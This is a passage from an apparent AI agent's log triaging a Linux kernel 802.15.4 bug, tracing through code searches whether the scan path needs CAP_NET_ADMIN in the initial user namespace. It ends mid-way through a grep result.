1177: flags = (nlh->nlmsg_flags & NLM_F_DUMP) == NLM_F_DUMP ?
1178: GENL_CMD_CAP_DUMP : GENL_CMD_CAP_DO;
1179: if (genl_get_cmd(hdr->cmd, flags, family, &op))
1180: return -EOPNOTSUPP;
1181:
1182: if ((op.flags & GENL_ADMIN_PERM) &&
1183: !netlink_capable(skb, CAP_NET_ADMIN))
1184: return -EPERM;
1185:
1186: if ((op.flags & GENL_UNS_ADMIN_PERM) &&
1187: !netlink_ns_capable(skb, net->user_ns, CAP_NET_ADMIN))
1188: return -EPERM;
1189:
1190: if (flags & GENL_CMD_CAP_DUMP)
1191: return genl_family_rcv_msg_dumpit(family, skb, nlh, extack,
1192: &op, hdrlen, net);
1193: else
1194: return genl_family_rcv_msg_doit(family, skb, nlh, extack,
1195: &op, hdrlen, net);
1196: }
SourceFile:net/netlink/genetlink.c]
|
| 70/2 |
2026/08/14 11:19 |
llm |
expert |
0m
Model:
Tokens:
input: 65478
output: 39
thoughts: 96
Thoughts: **Analyzing the Network Namespace Permission Checks**
Okay, so I'm diving into this `GENL_ADMIN_PERM` check, and it's calling `netlink_capable(skb, CAP_NET_ADMIN)`. Right, that makes sense. Now, `netlink_capable`...ah, here it is, it's comparing `skb->sk->sk_user_ns` with `init_user_ns`. Hold on a second...it's not just *any* user namespace, it's checking if the sending netlink socket has `CAP_NET_ADMIN` *in the initial user namespace*! That's a crucial distinction. I need to be absolutely certain I'm interpreting this correctly. Let me just double-check that `netlink_capable` function logic again, just to be sure. This is an important security boundary, so I want to be crystal clear on this.
|
| 71/2 |
2026/08/14 11:19 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netlink/af_netlink.c Name:netlink_capable]
Results: map[SourceCode: 874: /**
875: * netlink_capable - Netlink global message capability test
876: * @skb: socket buffer holding a netlink command from userspace
877: * @cap: The capability to use
878: *
879: * Test to see if the opener of the socket we received the message
880: * from had when the netlink socket was created and the sender of the
881: * message has the capability @cap in all user namespaces.
882: */
883: bool netlink_capable(const struct sk_buff *skb, int cap)
884: {
885: return netlink_ns_capable(skb, &init_user_ns, cap);
886: }
SourceFile:net/netlink/af_netlink.c]
|
| 72/2 |
2026/08/14 11:19 |
llm |
expert |
0m
Model:
Tokens:
input: 66054
output: 63
thoughts: 116
Thoughts: **Analyzing the Scan Trigger Mechanism**
Okay, so I'm digging into how this 802.15.4 scan trigger works. It looks like `netlink_capable` is the gatekeeper, specifically checking the `&init_user_ns`. That's a classic security check. So, that means my initial impression is correct: triggering `NL802154_CMD_TRIGGER_SCAN` requires `CAP_NET_ADMIN` within the initial user namespace. This immediately blocks the unprivileged user namespace trick – they can't simply create a new namespace and bypass the permission check. This is standard practice to prevent unprivileged users to make system-wide changes.
But hold on, before I call it a day, is *this* the only way to kick off `mac802154_scan_worker`? I should always look for other possibilities. Let me backtrack and see everywhere `mac802154_trigger_scan_locked` is called. Need to rule out any sneaky backdoors or alternative paths to trigger this scan.
|
| 73/2 |
2026/08/14 11:19 |
tool |
codesearch-find-references |
0m
Args: map[ContextFile:net/mac802154/scan.c IncludeSnippetLines:5 Name:mac802154_trigger_scan_locked SourceTreePrefix:]
Results: map[References:[map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:mac802154_trigger_scan SourceFile:net/mac802154/cfg.c SourceLine:277 SourceSnippet: 272:
273: sdata = IEEE802154_WPAN_DEV_TO_SUB_IF(request->wpan_dev);
274:
275: ASSERT_RTNL();
276:
277: return mac802154_trigger_scan_locked(sdata, request);
278: }
]] TruncatedOutput:false]
|
| 74/2 |
2026/08/14 11:19 |
llm |
expert |
0m
Model:
Tokens:
input: 66655
output: 61
thoughts: 21
Thoughts: Here's my take on those thoughts:
**Tracing the Call Path: `mac802154_trigger_scan`**
Okay, time to get my bearings. The first thing I need to understand is the context of `mac802154_trigger_scan`. I'll start by tracing where that function is actually *called* within the codebase. Understanding the upstream calls will give me valuable insight into its intended purpose and the conditions under which it's invoked. Knowing the calling functions is crucial for any effective debugging or modification. Let's see what the call graph reveals.
|
| 75/2 |
2026/08/14 11:19 |
tool |
codesearch-find-references |
0m
Args: map[ContextFile:net/mac802154/cfg.c IncludeSnippetLines:5 Name:mac802154_trigger_scan SourceTreePrefix:]
Results: map[References:[map[ReferenceKind:takes-address-of ReferencingEntityKind:global_variable ReferencingEntityName:mac802154_config_ops SourceFile:net/mac802154/cfg.c SourceLine:698 SourceSnippet: 693: .set_backoff_exponent = ieee802154_set_backoff_exponent,
694: .set_max_csma_backoffs = ieee802154_set_max_csma_backoffs,
695: .set_max_frame_retries = ieee802154_set_max_frame_retries,
696: .set_lbt_mode = ieee802154_set_lbt_mode,
697: .set_ackreq_default = ieee802154_set_ackreq_default,
698: .trigger_scan = mac802154_trigger_scan,
699: .abort_scan = mac802154_abort_scan,
700: .send_beacons = mac802154_send_beacons,
701: .stop_beacons = mac802154_stop_beacons,
702: .associate = mac802154_associate,
703: .disassociate = mac802154_disassociate,
]] TruncatedOutput:false]
|
| 76/2 |
2026/08/14 11:19 |
llm |
expert |
0m
Model:
Tokens:
input: 67265
output: 60
thoughts: 48
Thoughts: Here's my understanding of the situation, framed as my own thought process:
**Internal Notes on 802.15.4 Configuration and Scanning**
Okay, so I'm looking at the relationship between these structures and functions. I see that the `mac802154_config_ops` structure is absolutely essential; it's being used by `wpan_phy_new` which means it's fundamental to setting up the physical layer of the 802.15.4 network. That makes sense, it seems to be the place to go to configure the PHY.
Furthermore, I'm noting the connection between `trigger_scan` within those configuration operations and `nl802154_trigger_scan`. This tells me that the trigger for a scan operation, the mechanism that initiates a search for available networks, flows from the higher-level Netlink interface (`nl802154`) down to the specific PHY implementation via this `trigger_scan` operational structure. Knowing this specific flow is crucial for troubleshooting scanning issues or optimizing the scanning process itself, so I'll keep this in mind when debugging or implementing future scan-related features.
|
| 77/2 |
2026/08/14 11:19 |
tool |
codesearch-find-references |
0m
Error:
Args: map[ContextFile:net/ieee802154/nl802154.c IncludeSnippetLines:5 Name:trigger_scan SourceTreePrefix:]
Results: map[References:<nil> TruncatedOutput:false]
|
| 78/2 |
2026/08/14 11:19 |
llm |
expert |
0m
Model:
Tokens:
input: 67647
output: 53
thoughts: 233
Thoughts: **Analyzing the Reproducer's Execution Path**
Okay, so I'm looking at this `nl802154_trigger_scan` function, and it's calling `rdev->ops->trigger_scan(request)`. My first thought is, is that *the* only way a scan is triggered? Are there any other Netlink commands that could achieve the same result? Then I see the reproducer is definitely using `NL802154_CMD_TRIGGER_SCAN`.
But hold on, `NL802154_CMD_TRIGGER_SCAN` has `GENL_ADMIN_PERM`. That raises a flag. How is this reproducer running? I need to understand its context. The bug report provides critical information: "CPU: 2 UID: 0 PID: 6031 Comm: syz-executor392 Not tainted syzkaller #0 PREEMPT(full)". UID is *0* – it's running as root!
If this scan trigger requires `CAP_NET_ADMIN` in the initial user namespace, then it's *not* accessible from unprivileged processes, and more importantly, it's not accessible from user namespaces. This is a very important fact. I need to double-check something though. I need to verify that `nl802154` is not something that operates differently in user namespaces. I should double check the definition of the `nl802154_family`. I need to review its features and permissions to be certain.
|
| 79/2 |
2026/08/14 11:19 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/ieee802154/nl802154.c Name:nl802154_family]
Results: map[SourceCode: 126: struct genl_family nl802154_family __ro_after_init = {
127: .hdrsize = 0,
128: .name = IEEE802154_NL_NAME,
129: .version = 1,
130: .maxattr = IEEE802154_ATTR_MAX,
131: .policy = ieee802154_policy,
132: .module = THIS_MODULE,
133: .small_ops = ieee802154_ops,
134: .n_small_ops = ARRAY_SIZE(ieee802154_ops),
135: .resv_start_op = IEEE802154_LLSEC_DEL_SECLEVEL + 1,
136: .mcgrps = ieee802154_mcgrps,
137: .n_mcgrps = ARRAY_SIZE(ieee802154_mcgrps),
138: };
SourceFile:net/ieee802154/netlink.c]
|
| 80/2 |
2026/08/14 11:19 |
llm |
expert |
0m
Model:
Tokens:
input: 68599
output: 53
thoughts: 94
Thoughts: Here's my thinking process:
**Diving into the IEEE 802.15.4 Netlink Landscape**
Okay, so I'm looking at `nl802154_family` and it's making me pause. I need to be sure I'm following the code correctly. The name *feels* familiar... did I see it defined in a different file? Let's quickly double-check: `net/ieee802154/nl802154.c` versus `net/ieee802154/netlink.c`. Good, got it; that first file, `net/ieee802154/nl802154.c`, *that's* the one I need to focus on for this particular section. Now I can get to work!
|
| 81/2 |
2026/08/14 11:19 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/ieee802154/nl802154.c Name:nl802154_family]
Results: map[SourceCode: 126: struct genl_family nl802154_family __ro_after_init = {
127: .hdrsize = 0,
128: .name = IEEE802154_NL_NAME,
129: .version = 1,
130: .maxattr = IEEE802154_ATTR_MAX,
131: .policy = ieee802154_policy,
132: .module = THIS_MODULE,
133: .small_ops = ieee802154_ops,
134: .n_small_ops = ARRAY_SIZE(ieee802154_ops),
135: .resv_start_op = IEEE802154_LLSEC_DEL_SECLEVEL + 1,
136: .mcgrps = ieee802154_mcgrps,
137: .n_mcgrps = ARRAY_SIZE(ieee802154_mcgrps),
138: };
SourceFile:net/ieee802154/netlink.c]
|
| 82/2 |
2026/08/14 11:19 |
llm |
expert |
0m
Model:
Tokens:
input: 69270
output: 28
thoughts: 76
Thoughts: Here's my thinking:
**Navigating the IEEE 802.15.4 Kernel Module**
Okay, so I'm digging into this kernel code related to IEEE 802.15.4. First things first, I need to pinpoint where the relevant operations are defined. Right, so I recall seeing `nl802154_ops` mentioned, and it's looking like that's going to reside in `net/ieee802154/nl802154.c`. I'll confirm that. Next, I need to check how the Netlink family is set up for this interface; that's probably `nl802154_family`, also hopefully in `net/ieee802154/nl802154.c`. I need to understand this Netlink interface. Let's start there.
|
| 83/2 |
2026/08/14 11:19 |
tool |
grepper |
0m
Args: map[Expression:struct genl_family nl802154_family]
Results: map[Output:net/ieee802154/ieee802154.h=49=int ieee802154_nl_reply(struct sk_buff *msg, struct genl_info *info);
net/ieee802154/ieee802154.h-50-
net/ieee802154/ieee802154.h:51:extern struct genl_family nl802154_family;
net/ieee802154/ieee802154.h-52-
--
net/ieee802154/netlink.c=121=static const struct genl_multicast_group ieee802154_mcgrps[] = {
--
net/ieee802154/netlink.c-125-
net/ieee802154/netlink.c:126:struct genl_family nl802154_family __ro_after_init = {
net/ieee802154/netlink.c-127- .hdrsize = 0,
]
|
| 84/2 |
2026/08/14 11:19 |
llm |
expert |
0m
Model:
Tokens:
input: 69877
output: 49
thoughts: 80
Thoughts: Here's my summary, as though I'm thinking through this myself:
**Investigating the nl802154 Family and its Operations**
Okay, hold on a second. I'm looking at the `nl802154` code – specifically `nl802154_ops` – and it's located in `net/ieee802154/nl802154.c`. But, wait a minute... I seem to recall `nl802154_family` referencing `ieee802154_ops`. That doesn't quite seem right. I need to get to the bottom of this. Time to dig into `ieee802154_ops` and figure out what's going on. Let's see how these two relate.
|
| 85/2 |
2026/08/14 11:19 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/ieee802154/netlink.c Name:ieee802154_ops]
Results: map[SourceCode: 84: static const struct genl_small_ops ieee802154_ops[] = {
85: /* see nl-phy.c */
86: IEEE802154_DUMP(IEEE802154_LIST_PHY, ieee802154_list_phy,
87: ieee802154_dump_phy),
88: IEEE802154_OP(IEEE802154_ADD_IFACE, ieee802154_add_iface),
89: IEEE802154_OP(IEEE802154_DEL_IFACE, ieee802154_del_iface),
90: /* see nl-mac.c */
91: IEEE802154_OP(IEEE802154_ASSOCIATE_REQ, ieee802154_associate_req),
92: IEEE802154_OP(IEEE802154_ASSOCIATE_RESP, ieee802154_associate_resp),
93: IEEE802154_OP(IEEE802154_DISASSOCIATE_REQ, ieee802154_disassociate_req),
94: IEEE802154_OP(IEEE802154_SCAN_REQ, ieee802154_scan_req),
95: IEEE802154_OP(IEEE802154_START_REQ, ieee802154_start_req),
96: IEEE802154_DUMP(IEEE802154_LIST_IFACE, ieee802154_list_iface,
97: ieee802154_dump_iface),
98: IEEE802154_OP(IEEE802154_SET_MACPARAMS, ieee802154_set_macparams),
99: IEEE802154_OP(IEEE802154_LLSEC_GETPARAMS, ieee802154_llsec_getparams),
100: IEEE802154_OP(IEEE802154_LLSEC_SETPARAMS, ieee802154_llsec_setparams),
101: IEEE802154_DUMP_PRIV(IEEE802154_LLSEC_LIST_KEY, NULL,
102: ieee802154_llsec_dump_keys),
103: IEEE802154_OP_RELAXED(IEEE802154_LLSEC_ADD_KEY, ieee802154_llsec_add_key),
104: IEEE802154_OP_RELAXED(IEEE802154_LLSEC_DEL_KEY, ieee802154_llsec_del_key),
105: IEEE802154_DUMP_PRIV(IEEE802154_LLSEC_LIST_DEV, NULL,
106: ieee802154_llsec_dump_devs),
107: IEEE802154_OP_RELAXED(IEEE802154_LLSEC_ADD_DEV, ieee802154_llsec_add_dev),
108: IEEE802154_OP_RELAXED(IEEE802154_LLSEC_DEL_DEV, ieee802154_llsec_del_dev),
109: IEEE802154_DUMP_PRIV(IEEE802154_LLSEC_LIST_DEVKEY, NULL,
110: ieee802154_llsec_dump_devkeys),
111: IEEE802154_OP_RELAXED(IEEE802154_LLSEC_ADD_DEVKEY, ieee802154_llsec_add_devkey),
112: IEEE802154_OP_RELAXED(IEEE802154_LLSEC_DEL_DEVKEY, ieee802154_llsec_del_devkey),
113: IEEE802154_DUMP_PRIV(IEEE802154_LLSEC_LIST_SECLEVEL, NULL,
114: ieee802154_llsec_dump_seclevels),
115: IEEE802154_OP_RELAXED(IEEE802154_LLSEC_ADD_SECLEVEL,
116: ieee802154_llsec_add_seclevel),
117: IEEE802154_OP_RELAXED(IEEE802154_LLSEC_DEL_SECLEVEL,
118: ieee802154_llsec_del_seclevel),
119: };
SourceFile:net/ieee802154/netlink.c]
|
| 86/2 |
2026/08/14 11:19 |
llm |
expert |
0m
Model:
Tokens:
input: 71552
output: 23
thoughts: 43
Thoughts: Okay, here's my summary, taking on the persona you requested:
**Digging into the 802.15.4 Netlink Operations**
Alright, let me think this through. I'm looking at `nl802154_ops` in `net/ieee802154/nl802154.c`, which, as a fairly seasoned network protocol expert, is usually a good starting point for exploring the Netlink interface for 802.15.4. But wait a minute... where does this actually *belong*? I know the file location, but I need to quickly recall the Netlink family this set of operations is associated with. That's the key to understanding how these things are registered and how userspace interacts with this 802.15.4 interface, which is absolutely vital when debugging. I need that family ID to make sense of the interaction. I guess I need to drill down into the header files or trace it a bit further to confirm.
|
| 87/2 |
2026/08/14 11:19 |
tool |
grepper |
0m
Args: map[Expression:nl802154_ops]
Results: map[Output:net/ieee802154/nl802154.c=2752=static void nl802154_post_doit(const struct genl_split_ops *ops,
--
net/ieee802154/nl802154.c-2769-
net/ieee802154/nl802154.c:2770:static const struct genl_ops nl802154_ops[] = {
net/ieee802154/nl802154.c-2771- {
--
net/ieee802154/nl802154.c=3082=static struct genl_family nl802154_fam __ro_after_init = {
--
net/ieee802154/nl802154.c-3091- .module = THIS_MODULE,
net/ieee802154/nl802154.c:3092: .ops = nl802154_ops,
net/ieee802154/nl802154.c:3093: .n_ops = ARRAY_SIZE(nl802154_ops),
net/ieee802154/nl802154.c-3094- .resv_start_op = NL802154_CMD_DEL_SEC_LEVEL + 1,
]
|
| 88/2 |
2026/08/14 11:19 |
llm |
expert |
0m
Model:
Tokens:
input: 72241
output: 48
thoughts: 446
Thoughts: **Analyzing the `nl802154` Family and Capability Requirements**
Okay, so I'm looking at this `nl802154_fam` – the `nl802154` family, to be precise. The reproducer leverages the `nl802154` family, which makes sense. I see that the `NL802154_CMD_TRIGGER_SCAN` command is guarded by `GENL_ADMIN_PERM`. This immediately tells me that it requires `CAP_NET_ADMIN` in the initial user namespace. This makes triggering the scan impossible for an unprivileged user.
But wait, what if we are in a user namespace with `CAP_NET_ADMIN`? I need to dig deeper. The `GENL_ADMIN_PERM` check boils down to `netlink_capable(skb, CAP_NET_ADMIN)`, which in turn checks against `init_user_ns`. So even if a user namespace *has* `CAP_NET_ADMIN`, this will still fail! Time to verify that. Let's trace it... `netlink_capable` calls `netlink_ns_capable(skb, &init_user_ns, cap)`.
Aha! `netlink_ns_capable` checks whether the socket opener had the capability in `init_user_ns`, AND if the sender has the capability in `init_user_ns`. A process *within* a user namespace inherently does NOT have `CAP_NET_ADMIN` in `init_user_ns`. Therefore, triggering the scan is impossible. So, the bug is definitely inaccessible to unprivileged processes, and user namespaces are a dead end.
Now, what about `mac802154_hwsim`? Let's not get tunnel vision here. It seems `MAC802154_HWSIM_CMD_NEW_RADIO` is protected by `GENL_UNS_ADMIN_PERM`. This *does* mean `CAP_NET_ADMIN` in the user namespace is sufficient. So an unprivileged user *in* a user namespace can indeed create a radio. But, crucially, they still cannot trigger a scan with `NL802154_CMD_TRIGGER_SCAN`.
Alright, are there any other ways to skin this cat? Let me check the `IEEE802154_SCAN_REQ` within `ieee802154_ops`. It's time to examine the `ieee802154_ops` data structures.
|
| 89/2 |
2026/08/14 11:19 |
tool |
codesearch-definition-source |
0m
Error:
Args: map[ContextFile:net/ieee802154/netlink.c Name:IEEE802154_OP]
Results: map[SourceCode: SourceFile:]
|
| 90/2 |
2026/08/14 11:19 |
llm |
expert |
0m
Model:
Tokens:
input: 73312
output: 25
thoughts: 17
Thoughts: Here's a summary of my thought process:
**Diving into the IEEE 802.15.4 Protocol**
Okay, first things first, I need to understand what this `IEEE802154_OP` macro represents. My experience tells me that anything with that naming convention is going to be intricately linked to the IEEE 802.15.4 standard. I know the standard inside and out, so I'm expecting this macro to likely represent an operational parameter, configuration setting, or perhaps even an enumerated value related to one of the MAC or PHY layer functions. Given my understanding of typical macro usage, it could be a simple constant, a more complex expression, or even a bit-field definition that I need to decode. The context is crucial here, but the name is a good starting point. I need to trace its definition within the codebase or documentation. This is where the real work begins, I need to peel back the layers and see where it fits into the overall scheme.
|
| 91/2 |
2026/08/14 11:19 |
tool |
grepper |
0m
Args: map[Expression:#define IEEE802154_OP]
Results: map[Output:net/ieee802154/ieee802154.h=9=void ieee802154_nl_exit(void);
net/ieee802154/ieee802154.h-10-
net/ieee802154/ieee802154.h:11:#define IEEE802154_OP(_cmd, _func) \
net/ieee802154/ieee802154.h-12- { \
--
net/ieee802154/ieee802154.h-18-
net/ieee802154/ieee802154.h:19:#define IEEE802154_OP_RELAXED(_cmd, _func) \
net/ieee802154/ieee802154.h-20- { \
]
|
| 92/2 |
2026/08/14 11:19 |
llm |
expert |
0m
Model:
Tokens:
input: 73827
output: 54
thoughts: 18
Thoughts: Here's a summary of my thought process, as requested:
**Deconstructing the IEEE802154_OP Definition**
Okay, first things first, let's nail down what this `IEEE802154_OP` thing actually *is*. This looks like a variable, likely a constant or enum, representing something related to the IEEE 802.15.4 standard, maybe an operation code, a command, or a specific option. Given my background, I'm already mentally parsing "IEEE 802.15.4," recalling the low-power wireless personal area network protocol and its characteristics. I'm expecting this to relate to aspects like MAC layer operations, frame formats, or possibly even higher-layer protocol interactions built on top of the standard. I'll need to dig into the definition to see exactly what it signifies in this specific context. Is this part of a driver, an application layer protocol, or something else entirely? The context will be key.
|
| 93/2 |
2026/08/14 11:19 |
tool |
codesearch-definition-source |
0m
Error:
Args: map[ContextFile:net/ieee802154/ieee802154.h Name:IEEE802154_OP]
Results: map[SourceCode: SourceFile:]
|
| 94/2 |
2026/08/14 11:19 |
llm |
expert |
0m
Model:
Tokens:
input: 74133
output: 48
thoughts: 35
Thoughts: Here's my summary, as if I were thinking these thoughts:
**Analyzing the IEEE 802.15.4 Header File**
Okay, time to dive into this header file, specifically focusing on lines 11 through 25 of `net/ieee802154/ieee802154.h`. I'm expecting to find some crucial definitions and perhaps structure declarations related to the 802.15.4 standard. Given the typical layout of these header files, I'm anticipating declarations of constants or macros that define frame types, addressing modes, or maybe even some bitfield masks for interpreting the frame control field. It's likely we'll see some essential data structures that map directly to the 802.15.4 frame format – think things like fields for source/destination addresses, sequence numbers, and frame payload length. I'll be looking carefully for how the code represents the various components of an 802.15.4 packet and whether the definitions align with my understanding of the standard. I'm hoping it's well-documented so I can quickly identify the key elements and their roles within the overall 802.15.4 protocol stack. Let's see what's there.
|
| 95/2 |
2026/08/14 11:20 |
tool |
read-file |
0m
Args: map[File:net/ieee802154/ieee802154.h FirstLine:11 LineCount:15]
Results: map[Contents: 11: #define IEEE802154_OP(_cmd, _func) \
12: { \
13: .cmd = _cmd, \
14: .doit = _func, \
15: .dumpit = NULL, \
16: .flags = GENL_ADMIN_PERM, \
17: }
18:
19: #define IEEE802154_OP_RELAXED(_cmd, _func) \
20: { \
21: .cmd = _cmd, \
22: .doit = _func, \
23: .dumpit = NULL, \
24: .flags = GENL_ADMIN_PERM, \
25: .validate = GENL_DONT_VALIDATE_STRICT,\
]
|
| 96/2 |
2026/08/14 11:20 |
llm |
expert |
0m
Model:
Tokens:
input: 74743
output: 49
thoughts: 100
Thoughts: Okay, here's my take on those thoughts, framed as an expert's internal monologue:
**Investigating IEEE 802.15.4 Permissions and Scan Triggers**
Right, so I see that `IEEE802154_OP`, and by extension, the operations within, is using `GENL_ADMIN_PERM`. Makes sense, given the potential for system-wide impact. That's a good starting point. Now, I need to understand the implications for specific requests. So, if `IEEE802154_OP` is using `GENL_ADMIN_PERM`, then `IEEE802154_SCAN_REQ` is going to require `CAP_NET_ADMIN` in the initial user namespace. That's a definite requirement I need to keep in mind for access control and privilege escalation considerations.
I'm wondering, though, is that the *only* way to initiate a scan? Are there any other paths to triggering that scan function? I need to think beyond the explicit request. I'm especially interested in whether device state transitions can cause one.
What happens during device bring-up? Does bringing a device online, say, through the standard kernel procedures, cause an automatic scan? If so, that's a crucial vector to investigate. I should probably go check `mac802154_slave_open` to see if there is any scanning activity there. That's where I would expect to see it, if it exists.
|
| 97/2 |
2026/08/14 11:20 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/mac802154/iface.c Name:mac802154_slave_open]
Results: map[SourceCode: 181: static int mac802154_slave_open(struct net_device *dev)
182: {
183: struct ieee802154_sub_if_data *sdata = IEEE802154_DEV_TO_SUB_IF(dev);
184: struct ieee802154_local *local = sdata->local;
185: int res;
186:
187: ASSERT_RTNL();
188:
189: set_bit(SDATA_STATE_RUNNING, &sdata->state);
190:
191: if (!local->open_count) {
192: res = ieee802154_setup_hw(sdata);
193: if (res)
194: goto err;
195:
196: res = drv_start(local, sdata->required_filtering,
197: &local->addr_filt);
198: if (res)
199: goto err;
200: }
201:
202: local->open_count++;
203: netif_start_queue(dev);
204: return 0;
205: err:
206: /* might already be clear but that doesn't matter */
207: clear_bit(SDATA_STATE_RUNNING, &sdata->state);
208:
209: return res;
210: }
SourceFile:net/mac802154/iface.c]
|
| 98/2 |
2026/08/14 11:20 |
llm |
expert |
0m
Model:
Tokens:
input: 75690
output: 53
thoughts: 45
Thoughts: Okay, here's my take on those thoughts, framed as my own mental processing as an embedded systems expert:
**Investigating the Mac802154 Scan Trigger**
Hmm, so it's only calling `drv_start`. That's not quite what I was expecting. I was hoping for a more direct interaction with the scanning mechanism. My intuition says there *should* be more than one way to get that `mac802154_scan_worker` going. It's a critical part of the IEEE 802.15.4 stack, I would expect it to be triggered by more than one point.
Alright, let's get serious. I need to be methodical. The obvious next step is to perform a full reference search. I'm going to track down every single instance where `scan_work` is mentioned within the project. This is the surest way to understand all the potential pathways that could kick off that crucial scanning function. I need to understand all points of entry to gain an understanding of the overall control flow.
|
| 99/2 |
2026/08/14 11:20 |
tool |
codesearch-find-references |
0m
Error:
Args: map[ContextFile:net/mac802154/main.c IncludeSnippetLines:5 Name:scan_work SourceTreePrefix:]
Results: map[References:<nil> TruncatedOutput:false]
|
| 100/2 |
2026/08/14 11:20 |
llm |
expert |
0m
Model:
Tokens:
input: 76036
output: 23
thoughts: 18
Thoughts: Okay, here's my attempt at summarizing that thought process, tailored for an expert audience:
**Analyzing `scan_work` Call Sites**
Alright, my immediate line of thinking here is focused on the execution flow surrounding `scan_work`. Specifically, I want to see how it's being scheduled for delayed execution. The `queue_delayed_work` function is the key. I need to quickly identify all instances where `scan_work` is being enqueued this way. Knowing this will give me a clear picture of when and why `scan_work` might be executed asynchronously, which is critical for understanding performance bottlenecks, potential race conditions, or scheduling inefficiencies. Understanding these "call sites" will help me quickly understand why `scan_work` is being delayed.
|
| 101/2 |
2026/08/14 11:20 |
tool |
grepper |
0m
Args: map[Expression:queue_delayed_work.*scan_work]
Results: map[Output:drivers/net/wireless/marvell/libertas/cfg.c=725=static void lbs_scan_worker(struct work_struct *work)
--
drivers/net/wireless/marvell/libertas/cfg.c-775- if (netif_running(priv->dev))
drivers/net/wireless/marvell/libertas/cfg.c:776: queue_delayed_work(priv->work_thread, &priv->scan_work,
drivers/net/wireless/marvell/libertas/cfg.c-777- msecs_to_jiffies(300));
--
drivers/net/wireless/marvell/libertas/cfg.c=812=static void _internal_start_scan(struct lbs_private *priv, bool internal,
--
drivers/net/wireless/marvell/libertas/cfg.c-821-
drivers/net/wireless/marvell/libertas/cfg.c:822: queue_delayed_work(priv->work_thread, &priv->scan_work,
drivers/net/wireless/marvell/libertas/cfg.c-823- msecs_to_jiffies(50));
--
drivers/net/wireless/mediatek/mt76/mt7615/mcu.c=445=mt7615_mcu_scan_event(struct mt7615_dev *dev, struct sk_buff *skb)
--
drivers/net/wireless/mediatek/mt76/mt7615/mcu.c-461-
drivers/net/wireless/mediatek/mt76/mt7615/mcu.c:462: ieee80211_queue_delayed_work(mphy->hw, &phy->scan_work,
drivers/net/wireless/mediatek/mt76/mt7615/mcu.c-463- MT7615_HW_SCAN_TIMEOUT);
--
drivers/net/wireless/mediatek/mt76/mt7921/mcu.c=163=mt7921_mcu_scan_event(struct mt792x_dev *dev, struct sk_buff *skb)
--
drivers/net/wireless/mediatek/mt76/mt7921/mcu.c-171-
drivers/net/wireless/mediatek/mt76/mt7921/mcu.c:172: ieee80211_queue_delayed_work(mphy->hw, &phy->scan_work,
drivers/net/wireless/mediatek/mt76/mt7921/mcu.c-173- MT792x_HW_SCAN_TIMEOUT);
--
drivers/net/wireless/mediatek/mt76/mt7925/mcu.c=406=mt7925_mcu_scan_event(struct mt792x_dev *dev, struct sk_buff *skb)
--
drivers/net/wireless/mediatek/mt76/mt7925/mcu.c-414-
drivers/net/wireless/mediatek/mt76/mt7925/mcu.c:415: ieee80211_queue_delayed_work(mphy->hw, &phy->scan_work,
drivers/net/wireless/mediatek/mt76/mt7925/mcu.c-416- MT792x_HW_SCAN_TIMEOUT);
--
drivers/net/wireless/mediatek/mt76/scan.c=86=void mt76_scan_rx_beacon(struct mt76_dev *dev, struct ieee80211_channel *chan)
--
drivers/net/wireless/mediatek/mt76/scan.c-100- dev->scan.beacon_received = true;
drivers/net/wireless/mediatek/mt76/scan.c:101: ieee80211_queue_delayed_work(phy->hw, &dev->scan_work, 0);
drivers/net/wireless/mediatek/mt76/scan.c-102-
--
drivers/net/wireless/mediatek/mt76/scan.c=107=void mt76_scan_work(struct work_struct *work)
--
drivers/net/wireless/mediatek/mt76/scan.c-172-
drivers/net/wireless/mediatek/mt76/scan.c:173: ieee80211_queue_delayed_work(dev->phy.hw, &dev->scan_work, duration);
drivers/net/wireless/mediatek/mt76/scan.c-174-}
--
drivers/net/wireless/mediatek/mt76/scan.c=176=int mt76_hw_scan(struct ieee80211_hw *hw, struct ieee80211_vif *vif,
--
drivers/net/wireless/mediatek/mt76/scan.c-208- dev->scan.mlink = mlink;
drivers/net/wireless/mediatek/mt76/scan.c:209: ieee80211_queue_delayed_work(dev->phy.hw, &dev->scan_work, 0);
drivers/net/wireless/mediatek/mt76/scan.c-210-
--
drivers/net/wireless/st/cw1200/scan.c=284=static void cw1200_scan_complete(struct cw1200_common *priv)
drivers/net/wireless/st/cw1200/scan.c-285-{
drivers/net/wireless/st/cw1200/scan.c:286: queue_delayed_work(priv->workqueue, &priv->clear_recent_scan_work, HZ);
drivers/net/wireless/st/cw1200/scan.c-287- if (priv->scan.direct_probe) {
--
drivers/s390/scsi/zfcp_fc.c=61=static void zfcp_fc_port_scan(struct zfcp_adapter *adapter)
--
drivers/s390/scsi/zfcp_fc.c-74-
drivers/s390/scsi/zfcp_fc.c:75: queue_delayed_work(adapter->work_queue, &adapter->scan_work, delay);
drivers/s390/scsi/zfcp_fc.c-76-}
--
drivers/s390/scsi/zfcp_sysfs.c=212=static ssize_t zfcp_sysfs_port_rescan_store(struct device *dev,
--
drivers/s390/scsi/zfcp_sysfs.c-238- */
drivers/s390/scsi/zfcp_sysfs.c:239: queue_delayed_work(adapter->work_queue, &adapter->scan_work, 0);
drivers/s390/scsi/zfcp_sysfs.c-240- flush_delayed_work(&adapter->scan_work);
--
drivers/thunderbolt/icm.c=2133=static void icm_complete(struct tb *tb)
--
drivers/thunderbolt/icm.c-2159- */
drivers/thunderbolt/icm.c:2160: queue_delayed_work(tb->wq, &icm->rescan_work, msecs_to_jiffies(500));
drivers/thunderbolt/icm.c-2161-}
--
fs/ocfs2/journal.c=2079=static void ocfs2_orphan_scan_work(struct work_struct *work)
--
fs/ocfs2/journal.c-2090- if (atomic_read(&os->os_state) == ORPHAN_SCAN_ACTIVE)
fs/ocfs2/journal.c:2091: queue_delayed_work(osb->ocfs2_wq, &os->os_orphan_scan_work,
fs/ocfs2/journal.c-2092- ocfs2_orphan_scan_timeout());
--
fs/ocfs2/journal.c=2121=void ocfs2_orphan_scan_start(struct ocfs2_super *osb)
--
fs/ocfs2/journal.c-2130- atomic_set(&os->os_state, ORPHAN_SCAN_ACTIVE);
fs/ocfs2/journal.c:2131: queue_delayed_work(osb->ocfs2_wq, &os->os_orphan_scan_work,
fs/ocfs2/journal.c-2132- ocfs2_orphan_scan_timeout());
--
net/mac802154/scan.c=174=void mac802154_scan_worker(struct work_struct *work)
--
